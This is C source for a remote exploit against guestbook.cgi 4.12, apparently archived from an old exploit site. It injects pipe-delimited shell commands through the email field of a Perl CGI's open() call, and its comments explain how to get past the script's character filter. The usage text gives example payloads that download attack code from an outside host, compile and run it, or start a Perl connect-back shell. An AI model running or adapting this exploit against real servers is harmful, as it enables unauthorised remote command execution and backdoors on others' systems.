/* * guestrook.c - fish stiqz 11/18/2001. * * - rook:v: deprive of by deceit; "He swindled me out of my inheritance" * * Remote exploit for guestbook.cgi version 4.12 (below?). * guestbook.cgi can be found at http://www.guestserver.com/ * * exploits a traditional open call in a perl cgi script, * open (MAIL, "|$mailprogram $FORM{'email'}"); * the address is filtered for semi-colons, colons, commas, and less-than * and greater than signs, and must be in *@*.* form. * * The cgi must be configured to send mail to the guest. * the line in guestbook.config must be: * <-guestbook.mailto_guest-> # Yes = 1, No = 0 * 1 * This config looks to be pretty common. * * Because the host environment must already have a perl interpreter * installed, using a perl backdoor would probably be the most portable * way to exploit this. The example in the usage message presents another * way to accomplish it, with the well known socdmini.c. The sleep * call is necessary to ensure that the program has finished * downloading before the vulnerable system attempts to compile it. * It may also be necessary to execute each command individually. * I'm sure there are a million other ways to exploit this, since you * can specifiy a string of commands to execute. Use your imaginiation. * * Thats pretty much it. Have fun. * * shoutouts: nerile <-- 1337 * trey, kiam, sudo, kilmor, vertigo7, quanta, * #code <-- rules (not ef/dal), * analog.org, async.org * * #TelcoNinjas == #smurfkiddies. */ #include #include #include #include #include #include #include #include #include #include #include #include #define HTTP_PORT 80 extern int errno; /* * function prototypes. */ int get_ip(struct in_addr *, char *); int tcp_connect(char *, unsigned int); void *Malloc(size_t); void *Realloc(void *, size_t); char *Strdup(char *); void send_packet(int, char *, char *); char *convert_command(char *); void clear_screen(FILE *); void usage(char *); char *random_string(void); /* * Error cheq'n wrapper for malloc. */ void *Malloc(size_t n) { void *tmp; if((tmp = malloc(n)) == NULL) { fprintf(stderr, "malloc(%u) failed! exiting...\n", n); exit(EXIT_FAILURE); } return tmp; } /* * Error cheq'n realloc. */ void *Realloc(void *ptr, size_t n) { void *tmp; if((tmp = realloc(ptr, n)) == NULL) { fprintf(stderr, "realloc(%u) failed! exiting...\n", n); exit(EXIT_FAILURE); } return tmp; } /* * Error cheq'n strdup. */ char *Strdup(char *str) { char *s; if((s = strdup(str)) == NULL) { fprintf(stderr, "strdup failed! exiting...\n"); exit(EXIT_FAILURE); } return s; } /* * translates a host from its string representation (either in numbers * and dots notation or hostname format) into its binary ip address * and stores it in the in_addr struct passed in. * * return values: 0 on success, != 0 on failure. */ int get_ip(struct in_addr *iaddr, char *host) { struct hostent *hp; #ifdef DEBUG printf("entered get_ip with %s\n", host); #endif /* first check to see if its in num-dot format */ if(inet_aton(host, iaddr) != 0) return 0; #ifdef DEBUG printf("inet_aton failed\n"); printf("trying gethostbyname...\n"); #endif /* next, do a gethostbyname */ if((hp = gethostbyname(host)) != NULL) { if(hp->h_addr_list != NULL) { memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr)); return 0; } return -1; } return -1; } /* * initiates a tcp connection to the specified host (either in * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com) * to the host's tcp port. * * return values: != -1 on success, -1 on failure. */ int tcp_connect(char *host, unsigned int port) { int sock; struct sockaddr_in saddress; struct in_addr *iaddr; iaddr = Malloc(sizeof(struct in_addr)); /* write the hostname information into the in_addr structure */ if(get_ip(iaddr, host) != 0) return -1; #ifdef DEBUG printf("attempting connect to %s\n", inet_ntoa(*iaddr)); #endif saddress.sin_addr.s_addr = iaddr->s_addr; saddress.sin_family = AF_INET; saddress.sin_port = htons(port); /* create the socket */ if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) return -1; /* make the connection */ if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0) { close(sock); return -1; } /* everything succeeded, return the connected socket */ return sock; } /* * generates a string of 6 random characters. * - guestbook.cgi wont accept the same message twice (or so it seems), * so we need to randomize it a bit. */ char *random_string(void) { int i; char *s = Malloc(7); srand(time(NULL)); for(i = 0; i < 6; i++) s[i] = (rand() % (122 - 97)) + 97; s[i] = 0x0; return s; } /* * send the request to the server. * the remote_command needs to be coverted before sent here. * semi-colon's are filtered out and will not work! */ void send_packet(int sock, char *conv_remote_command, char *target) { char *packet_buf; char *payload_buf; char *r_string; char header_fmt[] = "POST /cgi-bin/guestbook.cgi HTTP/1.0\n" "Connection: close\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n" "Host: %s\n" "Content-type: application/x-www-form-urlencoded\n" "Content-length: %d\n\n%s"; char payload_fmt[] = "name=%s&SIGN=Sign+it%%21&email=%%7C%s%%7Cbleh%%40bleh.com" "&location=Germany&message=telconinjas+suck"; r_string = random_string(); /* create space for the payload and commands */ payload_buf = Malloc((sizeof(payload_fmt) + 1 + strlen(conv_remote_command)) * sizeof(char)); sprintf(payload_buf, payload_fmt, r_string, conv_remote_command); free(r_string); /* create space for the headers, payload, and commands */ packet_buf = Malloc((sizeof(header_fmt) + 1 + strlen(payload_buf) + strlen(conv_remote_command)) * sizeof(char)); sprintf(packet_buf, header_fmt, target, strlen(payload_buf), payload_buf); #ifdef DEBUG printf("\nSending data:\n%s\n", packet_buf); #endif if(write(sock, packet_buf, strlen(packet_buf)) == -1) { perror("write"); exit(EXIT_FAILURE); } close(sock); return; } /* * converts a command from "command1 arg1 arg2 | command2 arg1 arg2" * to "command1+arg1+arg2+%7C+command2+arg1+arg2" */ char *convert_command(char *input) { int i; char *postfix; char *command = Strdup(input); char meta; for(i = 0; command[i] != 0x0; i++) { if(!isalnum(command[i]) && command[i] != '.' && command[i] != '-') { if(command[i] == ' ') command[i] = '+'; else { meta = command[i]; postfix = Strdup(&(command[i]) + 1); command = Realloc(command, (strlen(command) + 3) * sizeof(char)); command[i] = 0x0; sprintf(&command[i], "%%%.2X", meta); strcat(command, postfix); free(postfix); } } } return command; } /* * clears the screen. lame. */ void clear_screen(FILE *fp) { fprintf(fp, "%c[H%c[2J", 0x1b, 0x1b); return; } /* * prints usage and then exits. */ void usage(char *p) { clear_screen(stderr); fprintf(stderr, "\nguestbook.cgi exploit by fish stiqz \n" "discovered and exploited on 01/18/2001\n\n" "usage: %s \"command1 args | command2 args\"\n\n" "* commands MUST be separated by |'s\n" "* commands CANNOT contain any of these chars: ;:,<>\n" "* Example: %s target.com \"wget host.com/socdmini.c -P /tmp|\\\n" " |sleep 5|gcc -o /tmp/hax /tmp/socdmini.c|/tmp/hax\"\n" "* you may want to separate the commands into one per request..\n" "* Example: %s target.com \"wget host.com/connect-back.pl" " -P /tmp\"\n" " %s target.com \"perl /tmp/connect-back.pl\"\n" "* you get the idea, use your imagination.\n\n", p, p, p, p); exit(EXIT_FAILURE); } int main(int argc, char **argv) { char *target; char *commands; char *conv_commands; int sock; if(argc != 3) usage(argv[0]); target = Strdup(argv[1]); commands = Strdup(argv[2]); conv_commands = convert_command(commands); free(commands); #ifdef DEBUG printf("\nconv_commands:\n%s\n", conv_commands); #endif printf("Connecting to %s...\n", target); if((sock = tcp_connect(target, HTTP_PORT)) == -1) { perror("tcp_connect"); return EXIT_FAILURE; } printf("Connected, sending payload...\n"); send_packet(sock, conv_commands, target); printf("Payload sent. Go store lots of warez!#*!%%@!#\n" "#TelcoNinjas == #smurfkiddies\n"); free(conv_commands); free(target); return EXIT_SUCCESS; } /* www.hack.co.za [1 Febuary 2001]*/